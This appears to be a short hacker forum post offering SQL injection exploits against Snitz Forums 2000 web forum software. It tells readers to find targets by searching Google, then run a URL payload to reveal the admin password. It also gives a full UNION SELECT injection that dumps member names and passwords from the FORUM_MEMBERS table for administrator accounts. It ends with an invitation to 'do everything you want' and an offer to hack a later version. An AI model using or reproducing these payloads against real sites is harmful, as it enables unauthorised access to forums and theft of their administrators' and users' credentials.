snitz 2k bug

step1: go to http://google.com and search key word " snitz 2k"
step2: choose a site and run this script:
http://url/forum//default.asp?Cat_ID...%20member_ID=1

and you see password of admin that forum snitz

step3: do everything you want !! :D


and this is bug of snitz 3.x with error default.asp:

run this script:
http://victim.com/forum/ default.asp?CAT_ID=0%20UNION%20SELECT%20CAT_ID,M_NAME%2b'/'%2bM_PASSWORD ,M_NAME%2b'/'%2bM_PASSWORD,M_NAME%2b'/'%2bM_PASSWORD,M_NAME%2b'/'%2bM_PASSWORD ,M_NAME%2b'/'%2bM_PASSWORD%20FROM%20FORUM_MEMBERS,FORUM_CATEGORY%20WHERE%20M_LEVEL=3




level =3 ----> level of admin


have fun
p/s: hack snitz 4.x contact me !